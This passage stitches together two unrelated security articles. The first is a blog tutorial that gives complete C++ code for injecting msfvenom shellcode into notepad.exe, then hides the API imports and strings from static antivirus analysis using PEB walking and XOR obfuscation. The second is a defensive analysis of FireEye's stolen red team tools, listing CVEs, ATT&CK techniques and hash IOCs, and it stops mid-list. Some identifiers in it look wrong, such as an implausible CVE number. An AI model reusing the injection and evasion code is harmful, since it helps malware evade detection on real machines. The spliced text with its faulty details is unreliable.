int find_process(const wchar_t* process_name) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int returnValue = 0; if (!Process32First(snapshot, &entry)) { goto cleanup; } do { if (wcscmp(entry.szExeFile, process_name) == 0) { returnValue = entry.th32ProcessID; goto cleanup; } } while (Process32Next(snapshot, &entry)); cleanup: CloseHandle(snapshot); return returnValue; } ``` This works as intended – but if we take a look at the generated executable file, we can very clearly see the functions from the Windows API we use: - CreateToolhelp32Snapshot, Process32First and Process32Next to find our target process. - OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread for code injection. These are highly suspicious and represent the typical behavior of a program attempting to enumerate running processes in order to inject code in one of them. The easiest way to see these imports is to open the file in VirusTotal or PeStudio. In this situation, we’re 100% sure to get caught even by the weakest antivirus performing static analysis. Can we do any better? ## Resolving imports with GetProcAddress The Windows API exposes a method allowing us to dynamically retrieve the address of a function: `GetProcAddress`, whose prototype is: ```c FARPROC GetProcAddress(HMODULE hModule, LPCSTR lpProcName); ``` The first parameter can be retrieved via a call to `GetModuleHandleA`. Let’s see what things look like if we rewrite our previous injection code to dynamically resolve function names using a call to `GetProcAddress`. For every function call we wish to hide, we need to: - Define a type representing a function pointer - Call `GetProcAddress` Example for `OpenProcess`: ```c // Get a handle on kernel32.dll HMODULE kernel32 = GetModuleHandleA("kernel32.dll"); // Define the prototype of 'OpenProcess' using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD); // Perform the dynamic resolving using GetProcAddress OpenProcessPrototype OpenProcess = (OpenProcessPrototype)GetProcAddress(kernel32, "OpenProcess"); // Now we can call 'OpenProcess' just like before! HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe")); ``` It makes the code a bit heavier, but whatever. Here’s the full program using this technique: ```c #include <iostream> #include <windows.h> #include <tlhelp32.h> using namespace std; // msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -a x64 unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00"; HMODULE kernel32 = GetModuleHandleA("kernel32.dll"); // Finds the first occurrence of a process named int find_process(const wchar_t* process_name) { /* Dynamic imports */ using CreateToolhelp32SnapshotPrototype = HANDLE(WINAPI*)(DWORD, DWORD); CreateToolhelp32SnapshotPrototype CreateToolhelp32Snapshot = (CreateToolhelp32SnapshotPrototype)GetProcAddress(kernel32, "CreateToolhelp32Snapshot"); using Process32FirstPrototype = BOOL(WINAPI*)(HANDLE, LPPROCESSENTRY32); Process32FirstPrototype Process32First = (Process32FirstPrototype)GetProcAddress(kernel32, "Process32FirstW"); using Process32NextPrototype = Process32FirstPrototype; Process32NextPrototype Process32Next = (Process32NextPrototype)GetProcAddress(kernel32, "Process32NextW"); /* Rest of the code, no changes */ PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); int returnValue = 0; if (!Process32First(snapshot, &entry)) { goto cleanup; } do { if (wcscmp(entry.szExeFile, process_name) == 0) { returnValue = entry.th32ProcessID; goto cleanup; } } while (Process32Next(snapshot, &entry)); cleanup: CloseHandle(snapshot); return returnValue; } int main(int argc, char* argv[]) { /* Dynamic imports */ using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD); OpenProcessPrototype OpenProcess = (OpenProcessPrototype)GetProcAddress(kernel32, "OpenProcess"); using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); VirtualAllocExPrototype VirtualAllocEx = (VirtualAllocExPrototype)GetProcAddress(kernel32, "VirtualAllocEx"); using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); WriteProcessMemoryPrototype WriteProcessMemory = (WriteProcessMemoryPrototype)GetProcAddress(kernel32, "WriteProcessMemory"); using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); CreateRemoteThreadPrototype CreateRemoteThread = (CreateRemoteThreadPrototype)GetProcAddress(kernel32, "CreateRemoteThread"); /* Rest of the code, no changes */ HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe")); LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL); DWORD ignored; CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored); return EXIT_SUCCESS; } ``` We’re a little better on the imports side because now we are only importing `GetProcAddress` and `GetModuleHandleW`. The detection rate is slightly better (10/69 instead of 13/69 for our first sample), but importing those two functions is still pretty suspicious. Plus, simply checking the strings of our binary still gives us away… ```bash $ strings sample2.exe | grep -E '(CreateRemote|Write|Virtual)' VirtualAllocEx WriteProcessMemory CreateRemoteThread ``` ## Use the PEB, Luke We need to go a level deeper and… dynamically resolve the address of `GetProcAddress` and `GetModuleHandleW`. How do we do that? Meet the PEB! The PEB (Process Environment Block) is an in-memory data structure containing a bunch of information about the current running process, including the DLL it has loaded as well as their location in memory. The plan is as follows: - Read the PEB. This is relatively easy because the CPU register `FS:[0x18]` has a pointer to it. We can also use the undocumented constant `NT_TIB` from the Windows API. - Use the PEB to find the base address of `kernel32.dll` in memory. This gets a bit hairy because we need to iterate through data structures internal to the Windows loader such as `PEB_LDR_DATA` and `LDR_DATA_TABLE_ENTRY`. ```c #include <iostream> #include <windows.h> #include "Processthreadsapi.h" #include "Libloaderapi.h" #include <winnt.h> #include <winternl.h> #include <Lmcons.h> #include "Processthreadsapi.h" #include "Libloaderapi.h" #include <tlhelp32.h> #define ADDR unsigned __int64 // Utility function to convert an UNICODE_STRING to a char*. Defined at the end of the file HRESULT UnicodeToAnsi(LPCOLESTR pszW, LPSTR* ppszA); // Dynamically finds the base address of a DLL in memory ADDR find_dll_base(const char* dll_name) { PTEB teb = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self))); PPEB_LDR_DATA loader = teb->ProcessEnvironmentBlock->Ldr; PLIST_ENTRY head = &loader->InMemoryOrderModuleList; PLIST_ENTRY curr = head->Flink; // Iterate through every loaded DLL in the current process do { PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); char* dllName; // Convert unicode buffer into char buffer for the time of the comparison, then free it UnicodeToAnsi(dllEntry->FullDllName.Buffer, &dllName); char* result = strstr(dllName, dll_name); CoTaskMemFree(dllName); // Free buffer allocated by UnicodeToAnsi if (result != NULL) { // Found the DLL entry in the PEB, return its base address return (ADDR)dllEntry->DllBase; } curr = curr->Flink; } while (curr != head); return NULL; } // Utility function to convert an UNICODE_STRING to a char* HRESULT UnicodeToAnsi(LPCOLESTR pszW, LPSTR* ppszA) { ULONG cbAnsi, cCharacters; DWORD dwError; // If input is null then just return the same. if (pszW == NULL) { *ppszA = NULL; return NOERROR; } cCharacters = wcslen(pszW) + 1; cbAnsi = cCharacters * 2; *ppszA = (LPSTR)CoTaskMemAlloc(cbAnsi); if (NULL == *ppszA) return E_OUTOFMEMORY; if (0 == WideCharToMultiByte(CP_ACP, 0, pszW, cCharacters, *ppszA, cbAnsi, NULL, NULL)) { dwError = GetLastError(); CoTaskMemFree(*ppszA); *ppszA = NULL; return HRESULT_FROM_WIN32(dwError); } return NOERROR; } ``` Once we know where `kernel32.dll` is in memory, interpret it as a PE file (because, like all DLLs and EXEs, it is a PE file), and walk through its export table to find the function names we want to resolve. Essentially, we need to: - Find the export table - Find the index of the exported function we want to resolve - Use this index to index the ordinals table - Use this result to index the functions table, giving us a pointer to the exported function ```c #include <iostream> #include <windows.h> #include "Processthreadsapi.h" #include "Libloaderapi.h" #include <winnt.h> #include <winternl.h> #include <Lmcons.h> #include "Processthreadsapi.h" #include "Libloaderapi.h" #include <tlhelp32.h> // Given the base address of a DLL in memory, returns the address of an exported function ADDR find_dll_export(ADDR dll_base, const char* export_name) { PIMAGE_DOS_HEADER peHeader = (PIMAGE_DOS_HEADER)dll_base; PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew); DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset); DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames); WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals); DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions); for (int i = 0; i < exportTable->NumberOfNames; ++i) { char* funcName = (char*)(dll_base + name_table[i]); ADDR func_ptr = dll_base + func_table[ordinal_table[i]]; if (!_strcmpi(funcName, export_name)) { return func_ptr; } } return NULL; } ``` Not critically hard, but a bit hairy as well. I’m not going to lie, it took me a few evenings to get it right… 🙂 We can now use these as a building block to dynamically find any function! ```c ADDR kernel32_base = find_dll_base("KERNEL32.DLL"); printf("kernel32.dll @ %p\n", kernel32_base); ADDR openProcessAddress = find_dll_export(kernel32_base, "OpenProcess"); printf("OpenProcess @ %p\n", openProcessAddress); ``` Result: ``` kernel32.dll @ 00007FFF023B0000 OpenProcess @ 00007FFF023CA1A0 ``` We can therefore use this to dynamically find `GetProcAddress` and `GetModuleHandleW`, in order to use them to dynamically find other functions. ```c using GetProcAddressPrototype = FARPROC(WINAPI*)(HMODULE, LPCSTR); using GetModuleHandlePrototype = HMODULE(WINAPI*)(LPCSTR); ADDR kernel32_base = find_dll_base("KERNEL32.DLL"); GetProcAddressPrototype MyGetProcAddress = (GetProcAddressPrototype)find_dll_export(kernel32_base, "GetProcAddress"); GetModuleHandlePrototype MyGetModuleHandle = (GetModuleHandlePrototype)find_dll_export(kernel32_base, "GetModuleHandleA"); ``` Here’s the full code using this technique: If we load the executable we obtain in a static analysis tool, we now don’t have any more visible suspicious `GetProcAddress` import! But we didn’t get any better hiding our strings: ```bash $ strings sample3.exe | grep -E '(CreateRemote|Write|Virtual)' VirtualAllocEx WriteProcessMemory VirtualProtectEx CreateRemoteThread ``` ## No strings attached In order to hide our suspicious strings, we can proceed as follows: - Use the same method as we used to resolve `GetProcAddress` to also resolve other functions - Obfuscate somehow our strings (such as “OpenProcess”), for instance by XOR’ing them prior to the compilation and XOR’ing them again when performing the comparison against the exported function names of `kernel32.dll`. A more complete description of this method, written by LloydLabs, is available here. In our case, the piece of code to change would be: ```c // Before if (!_strcmpi(funcName, export_name)) { // After if (!_strcmpi(funcName, DECRYPT(export_name))) { ``` And what’s in the `resolve_imports` method: ```c // Before dynamic::GetProcAddress = (GetProcAddressPrototype) find_dll_export(kernel32_base, "GetProcAddress"); // After char str[] = {0x5,0x27,0x36,0x12,0x30,0x2d,0x21,0x3,0x26,0x26,0x30,0x27,0x31,0x31} dynamic::GetProcAddress = (GetProcAddressPrototype) find_dll_export(kernel32_base, DECRYPT(str)); ``` … assuming `DECRYPT` is a function or macro XOR’ing each byte with `0x42`. I won’t provide the full code for this, mainly because it’s 1:40am at the time of writing. Let’s say it’s left as an exercise to the reader! ## Wrapping up What have we achieved? We managed to import and use Windows API functions in a way that is not detectable by static analysis tools. Along the way, we learned about the PEB and about the structure of a PE file. And hopefully, we had some fun – at least, I did. 🙂 **Quick notes:** - Everything we did would still be caught by dynamic analysis. - The code snippets work only for 64-bit processes. PM me if you’d like me to provide you with a 32-bit version. I hope you liked this post! Comments below or tweets to @christophetd are always welcome.
# Tactics, Techniques and Procedures (TTPs) Utilized by FireEye’s Red Team Tools We have been routinely reading about new breaches this year, but this last incident is different from all others we have heard so far. FireEye, like all security vendors, is fighting for a good cause. We support FireEye and we think that their response so far is very mature and transparent, sharing countermeasures to detect the use of their stolen tools. In such a situation and in a limited time, it is not easy to build all possible countermeasures. So we are also doing our best to support the community, sharing analysis and additional countermeasures to help organizations validate and improve their security posture against the possible use of the leaked Red Team tools. ## Executive Summary In this article, we analyzed 60 tools stolen from FireEye Red Team’s arsenal to understand the impact of this breach. We found that: - 43% of the stolen tools are publicly available tools that are using known attack techniques. - 40% of tools are developed in-house by FireEye. These tools also utilize known adversary techniques. - 17% of the stolen tools cannot be identified since FireEye did not share adequate details about these tools. According to their names, we believe that most of these unknown tools are also slightly modified versions of publicly available tools. FireEye also announced that exploits of 16 vulnerabilities were also stolen. But there is no room for a big concern regarding these vulnerabilities and their exploits since they are already well-known. At first, this breach resembled the stolen NSA hacking tools published in the Shadow Brokers leak. A couple of high severity 0-day exploits were released in the NSA breach. These 0-day exploits caused severe security incidents worldwide, such as WannaCry and NotPetya. However, the stolen tools and exploits in the FireEye breach utilize known attack techniques. Our analysis shows that this breach will not have a high impact on organizations. Still, countermeasures should be taken against the stolen tools since they are frequently used by threat actors. In our new blog post, "It is Time to Take Action - How to Defend Against FireEye’s Red Team Tools", we shared our comprehensive Blue Team recommendations, our detection contents as SIGMA and vendor-specific queries, and also vendor-based prevention signatures related to defending against FireEye Red Team tools. ## Stolen Red Team Tools FireEye has not shared details about what the stolen red team tools do. The Red and Blue Team analysts of Picus Labs analyzed the compromised tools to reveal the functionalities and possible impacts of these tools. We categorized these tools into four sets: 1. **Tools Based on Open Source Projects**: These red team tools are slightly modified versions of open-source tools. 2. **Tools Based on Built-in Windows Binaries**: These tools use built-in Windows binaries known as LOLBINs (Living Off The Land Binaries). 3. **Tools Developed In-house for FireEye’s Red Team**: These tools are specially developed for the use of FireEye’s Red Team. 4. **Tools Without Adequate Data to Analyze**: There is not enough data to analyze these tools. The Yara rules published by FireEye for the following tools are specific to ProjectGuid of the tool. ## Stolen Exploits In addition to the red team tools, there are also exploit payloads affected by the incident. Leaked payloads exploit the following list of vulnerabilities. According to FireEye's report, leaked payloads do not include a 0-day exploit. | CVE Number | Vulnerability Type | Affected Product | CVSS | Picus ThreatID | |------------------|----------------------------------|----------------------------------------------|------|----------------| | CVE-2014-1812 | Privilege Escalation | Windows | 9.0 | | | CVE-2016-0167 | Privilege Escalation | Microsoft Windows | 7.8 | | | CVE-2017-11774 | Remote Code Execution | Microsoft Outlook | 7.8 | | | CVE-2018-545960 | Pre-auth Arbitrary File Read | Fortigate SSL VPN | 9.8 | | | CVE-2018-15961 | Remote Code Execution | Adobe ColdFusion | 9.8 | | | CVE-2019-0604 | Remote Code Execution | Microsoft Sharepoint | 9.8 | | | CVE-2019-0708 | Remote Code Execution | Windows Remote Desktop Services (RDS) | 9.8 | | | CVE-2019-11510 | Pre-auth Arbitrary File Read | Pulse Secure SSL VPN | 10.0 | | | CVE-2019-11580 | Remote Code Execution | Atlassian Crowd | 9.8 | | | CVE-2019-19781 | Remote Code Execution | Citrix Application Delivery Controller and Citrix Gateway | 9.8 | | | CVE-2019-3398 | Authenticated Remote Code Execution | Confluence | 8.8 | | | CVE-2019-8394 | Pre-auth Arbitrary File Upload | ZoHo ManageEngine ServiceDesk Plus | 6.5 | | | CVE-2020-0688 | Remote Code Execution | Microsoft Exchange | 8.8 | | | CVE-2020-1472 | Privilege Escalation | Microsoft Active Directory | 10.0 | | | CVE-2018-8581 | Privilege Escalation | Microsoft Exchange Server | 7.4 | | | CVE-2020-10189 | Remote Code Execution | ZoHo ManageEngine Desktop Central | 9.8 | | ## Usual Suspects FireEye frequently engages with Russian threat actors being a cybersecurity company fighting with APT groups and nation-state threat actors. According to the Washington Post, APT29 (also known as YTTRIUM, The Dukes, Cozy Bear, and CozyDuke) carried out the FireEye breach. However, there is no evidence to prove that. ## Blue Team Recommendations Picus Labs’ Blue Team prepared a list of recommendations for preventing and detecting the stolen tools and exploits. 1. **Mitigating Vulnerabilities**: Assess your systems against vulnerabilities listed in the above section using vulnerability scanning and monitoring tools. If there are any gaps you haven't patched yet, you must fix them, and you should check if they have been abused in your systems. 2. **Compromise Assessment**: You can conduct compromise assessments on your systems by using released Yara rules by FireEye. To utilize Yara rules, you can use an open-source Yara scanning tool or enterprise product and distribute it to the endpoints on your systems, then add the rules and get the results. Moreover, you can use IoCs included in Yara rules and search them in your SIEM environment. 3. **Utilize IOCs**: To prevent and detect future related threats, you can add IOCs given in this report to your security products, such as EDR, EPP, and SIEM. However, keep in mind that these IoCs can easily be changed by adversaries. 4. **Utilize Snort Rules**: Most network security products support Snort rules. You can add released Snort rules to your security devices. If you are already using Snort, you can check if the current rules are up to date. 5. **Update Your Security Products**: Security vendors are releasing new signatures and rule sets that include countermeasures against stolen tools. Update your security products and their rule and signature sets. 6. **Hunting with OpenIOC**: FireEye released some countermeasures in the OpenIoC format. You can add these rules to your security devices by developing detection and hunting rules using IoC editors. ## Picus in Action The Picus Threat Library includes most of the stolen tools, and the Picus Mitigation Library contains actionable mitigation recommendations and detection rules. Picus Labs’ Red Team and Blue Teams are working on missed tools and adding them and their techniques to our libraries. Our users have already assessed their cyber defense against most of the stolen red team tools and their attack techniques. They fixed the identified gaps using actionable recommendations provided by the Picus platform. ## Detailed Analysis of the Tools ### 1. Tools Based on Open Source Projects These red team tools are slightly modified versions of open-source tools. #### 1.1 ADPassHunt It is a credential stealer tool that hunts Active Directory credentials. There are two remarkable strings in the YARA rule of this tool: Get-GPPPasswords and Get-GPPAutologons. Get-GPPPassword is a PowerShell script that retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences (GPP). Get-GPPAutologons is another PowerShell script that retrieves passwords from Autologon entries that are pushed through GPP. These scripts are used as functions in PowerSploit, which is an offensive security framework combining PowerShell modules and scripts. **MITRE ATT&CK Techniques**: - T1003.003 OS Credential Dumping: NTDS - T1552.06 Unsecured Credentials: Group Policy Preferences **AdPassHunt IOCs**: - 590bd7609edf9ea8dab0b5fbc38393a870b329de - 29385446751ddbca27c26c43015be7ab0d548b895531fba9b03d612e53bd9ff0 #### 1.2 Beacon This red team tool is based on the CobaltStrike beacon. A beacon is a CobaltStrike payload used by adversaries for several goals, such as persistence, execution, privilege escalation, credential dumping, lateral movement, and Command and Control (C2) communication over HTTP, HTTPS, DNS, SMB, and TCP protocols. According to countermeasures published by FireEye, the Beacon tool uses HTTP, HTTPS, and DNS beacons. The Beacon tool utilizes built-in Windows binaries, such as msbuild.exe, Microsoft.Workflow.Compiler.exe, and regsvr32.exe to execute arbitrary payloads, and searchindexer.exe for process injection to evade defenses. It renames these binaries to avoid name-based detection rules by masquerading. **MITRE ATT&CK Techniques**: - T1071.001 Application Layer Protocol: Web Protocols - T1029 Scheduled Transfer - T1036.003 Masquerading: Rename System Utilities - T1036.004 Masquerading: Task or Service - T1036.005 Masquerading: Match Legitimate Name or Location - T1574.002 Hijack Execution Flow: DLL Side-Loading - T1047 Windows Management Instrumentation - T1072 Software Deployment Tools - T1059.003 Command and Scripting Interpreter: Windows Command Shell **CobaltStrike Beacon IOCs**: - 03a8efce7fcd5b459adf3426166b8bda56f8d8439c070b620bccb85a283295f4 - e4dd5fc22ff3e9b0fa1f5b7b65fb5dfeac24aab741eee8a7af93f397b5720f4a - d011a846badec24a48a50d1ab50f57d356b9dd520408cbb3361182f6f0489a1e - 0a566a0ddbaf9975221fe842b9b77c4a8b5d71bb2c33e0a46da26deec90dcbea - 61cd1311d2e4663b86b5a70c2aafd5af6b247a6ebf407170296e37aaf8c69392 ### 1.3 Beltalowda Beltalowda is a red team tool based on an open-source utility, SeatBelt. SeatBelt conducts a variety of security-oriented "safety checks" from both offensive and defensive security viewpoints related to the host survey. **Beltalowda / SeatBelt IOCs**: - d80b7a31d68b5f483073ff7af0984c1090f6a493f84db7d3a301e3e35fdb4a56 - 7b7cbb1a62faf7e7a9ee1d0254c5681779b61abd3c9763b6588857c14cccdd9b - 8f991317f1473fa8af3c3d6ade2551ddac01425db6e7b0c718b81c324c43730d - 1d841ff51f8b5b08d7b4752cd498108d4b3f82864257dbd8e35b097c766f9e24 - 29054e2cad080a61db11a61791206ea939cbf79abee71c44fa0e7603dd168840 - dea11a5bc6ff271e40e477d1645bdeb19454bdd8eac077e598ca56ee885fc06e - b89158aeac0e98f7cc2a6c3040ad2f57093bdb9064eab2c585c1250d5efa850e - 00d1726e2ba77c4bed66a6c5c7f1a743cf7bb480deff15f034d67cf72d558c83 - 5cacbf4e84027cb3c0ec55940dddee6f4d368aae778d635003cb3013b547ede0 - bb939544ac109ca674ee9de4d8b292f9b117c9c676ddab61d15a6e219ad3986c ### 1.4 Dtrim Dtrim is a modified version of SharpSploit, which is an open-source .NET post-exploitation library written in C#. SharpSploit ported modules of PowerShell post-exploitation frameworks like PowerSploit and other tools such as Mimikatz. **Picus Threat Library**: - 888666 Credential Dumping from Windows Vault by using PowerSploit - 841093 Process Injection by using Powersploit's Invoke-DllInjection Function - 853912 Credential Dumping via SharpSploit’s Mimikatz Script Attack Scenario - 322981 Information Gathering Scenario using Sharpsploit - 778874 Credential Dumping by using Sharpsploitconsole and Sharpcradle - 430106 Credential Dumping by using SharpSploit Library (compiled by SharpGen) ### 1.5 EWS-RT EWS-RT is based on an open-source PowerShell tool, RT-EWS, which is a couple of cmdlets leveraging EWS (Exchange Web Services) API to perform specific enumeration and exploitation tasks on Microsoft Exchange Servers including Office365 and on-premise servers. ### 1.6 Fluffy Fluffy is a modified version of Rubeus, which is an open-source C# toolkit for raw Kerberos interaction and abuses. Red teams use Rubeus for Kerberoasting attacks and extracting Kerberos tickets. **MITRE ATT&CK Techniques**: - T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting **Fluffy IOCs (SHA1)**: - 8bebf19d54c749560301eaada2e92eb240501b8c ### 1.7 G2JS G2JS (GadgetToJScript) is an open-source tool for generating .NET serialized gadgets that can trigger .NET assembly load and execution when deserialized using BinaryFormatter from JS, VBS, and VBA scripts. G2JS was created mainly for automating Microsoft Windows Script Host (WSH) scripts weaponization during red team engagements. **MITRE ATT&CK Techniques**: - T1059.005 Command and Scripting Interpreter: Visual Basic - T1059.007 Command and Scripting Interpreter: JavaScript/JScript **G2JS IOCs (SHA256)**: - dcce258cc818febe2b888c8eee42aa95393b2fb4f1f2406330840ab8ad5c7d50 - A3a8dedf82741a1997b17a44fbb1e5712ba3a5db11146519cf39281def9329a7 - eed9402cb6fdc047b12f67493ba10970155a00086918eaad9542ab24096cc715 - 398afc4c33e00b26466abb87668e33be766dbbf4c493fe04d180a14d14a32fa3 - da3bdb6b9348a8d9328e669c744d0f21a83937c31894245e3157121342efe52c - cdabbe815b7aafa94469b97fa3665137c4d5b2da4fdd7648ba2851cf2df214fc - f8c8bb2ac03cc2a037ddde4ad175aa05aa80277483fcdac42627fbdcc36f64ba - fd2e546faed7426c448d1a11d8e1d4b8a06b5148c9c8dfa780338fac2ab53c5b - 0b8eab0a1961c52c141ac058c11e070d724d600cf903f2457c8ed189e7aae047 - 117b9c9127beaf2e3ce7837c5e313084fd3926f1ebf1a77563149e08347cb029 ### 1.8 ImpacketObf ImpacketObf (ImpacketObfuscation) is a collection of obfuscated Impacket utilities. Impacket is an open-source collection of Python classes for working with network protocols. ### 1.9 ImpacketOBF (SMBExec) This tool is based on Impacket’s smbexec.py tool. ### 1.10 ImpacketOBF (WMIExec) This tool is based on Impacket’s wmiexec.py tool. **MITRE ATT&CK Techniques**: - T1047 Windows Management Instrumentation ### 1.11 InveighZero InveighZero is an open-source spoofer and man-in-the-middle (MitM) attack tool designed to assist red teamers and penetration testers. It can spoof LMNR, NBNS, mDNS, DNS, and DHCPv6 protocols. **MITRE ATT&CK Techniques**: - T1557.001 Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay **InveighZero IOCs (SHA256)**: - 78fafeb22bf31de02a4b56114e86dcc3394e382658a5c95b1a302d3d8794718d - 2728c46f4fcf62f3faee72be30f1dd75528391b0d70da302544f5282d58c931b - 715b415647f33937b39aa072001bfb9857a4bea884d009cbe0c27f1422b9f55b - 452c6651e79d9f69a55e711c0b4d70eb2b1aaac206b8a274e45d22f9d7cafd2c - 50c4f46e43d30c9520be35e294ef98d81f81d60602cd659367bbcf6a91766c0f - a66f3a9ddf9343aeed40276c1abfc485f089050074a03801cd9a16787a39c6bf - 0c080548e15e7f377baed2a550d48a555e6150d969f7f4b8244c3b3a50afb858 ### 1.12 KeeFarce KeeFarce is an open-source tool that extracts KeePass 2.x password database information from memory. It uses DLL injection to execute code within the context of a running KeePass process. **MITRE ATT&CK Techniques**: - T1555.001 Process Injection: Dynamic-link Library Injection **KeeFarce IOCs (SHA256)**: - 5ea9a04284157081bd5999e8be96dda8fac594ba72955adacb6fa48bdf866434 ### 1.13 NetAssemblyInject This tool injects C# .NET assemblies into arbitrary Windows processes. It is based on an open-source tool, NET-Assembly-Inject-Remote. **Picus Threat Library**: - 459538 Credential Dumping using NetAssembly Injection Tool ### 1.14 NoAmci NoAmci is an open-source tool that uses DInvoke to patch AMSI.dll to bypass AMSI (Windows Antimalware Scan Interface) detections. **Picus Threat Library**: - 422966 Disabling Security Tools by using NoAmci Tool (AMSI Bypass) ### 1.15 PuppyHound PuppyHound is a modified version of an open-source tool, SharpHound. It is the C# data collector for the BloodHound Project. **PuppyHound / SharpHound IOCs (SHA256)**: - 23490f7ac40b6b15c228ed8f8e9122d460469aa4025ed7008660e4310ef7e70f - a7240d8a7aee872c08b915a58976a1ddee2ff5a8a679f78ec1c7cf528f40deed - 5fabe36fb1da700a1c418e184c2e5332fe2f8c575c6148bdac360f69f91be6c2 - 7b0a7e5d344f8ffa1a097cd9e658ecaa551fd84cfcc92a5fe46f9965661662cc - e9e646a9dba31a8e3debf4202ed34b0b22c483f1aca75ffa43e684cb417837fa - a07002c5d7712e751dfbcab1f05190793eb417b693b61f8ba0750fa15f88f61b - 0d9fbc16c6f316d8ee1b9ff47b300c24a1964fdfc3990b680d05dab5e1905d9f - ee72671628902e2cd75fde74b7926355b39d1ab50be0aa8bc06e8f06344fc22c - 36d4e69106bc8530d7923442d1929558b876f7f10545316623ae3db1b93ec584 - e333444d815055181402f5fdbf60a62c4545e64f3e382c7685b47b7b5a6c27e8 ### 1.16 Rubeus Rubeus is an open-source C# toolkit for raw Kerberos interaction and abuses. Red teams use Rubeus for Kerberoasting attacks and extracting Kerberos tickets. **MITRE ATT&CK Techniques**: - T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting **Rubeus IOCs (SHA256)**: - a729d51f3deff5065e4978df2f88517d26e0d5db542c9cf8501a4206d8d2432c - 9758688dd18db6ec86c4835d9ba67b5e209c32c81981dc69d705670f8b95d5e6 - 0340043481091d92dcfb2c498aad3c0afca2fd208ef896f65af790cc147f8891 - 76faeb790d1c1aa5fd3473f86f602b371682415368ddd553ebc60eb3c7683f7f - 0097d59dc02cbac14df25ef05fc6d75f835d1db68f760d71fa4a0a57d9960606 - c74352729dd49829f5e398a7fc7dd033d9e4aba3d93162c4fbcbe394cc31c3d4 - 9c6a910a047e29e07b4015866dc05e00829b888a86d1d357ed49652a9b73f1b6 - 6c1829be1c49c04b956b431386c389a6bf83327a5e7e68ff453103820ad4464d - 817867c23a7bf47e99c93201f99f5eb805396327765aa76338c5f9e0c89eac4a - 65044ea9fea1e34042adf3ff5e5fb17fc021ba4b0775415fad2465558a782c5e ### 1.17 SafetyKatz SafetyKatz is a combination of Mimikatz and .NET PE Loader. It creates a minidump of LSASS and uses PELoader to load a customized version of Mimikatz for credential dumping. **MITRE ATT&CK Techniques**: - T1003.001 OS Credential Dumping: LSASS Memory **SafetyKatz IOCs (SHA256)**: - 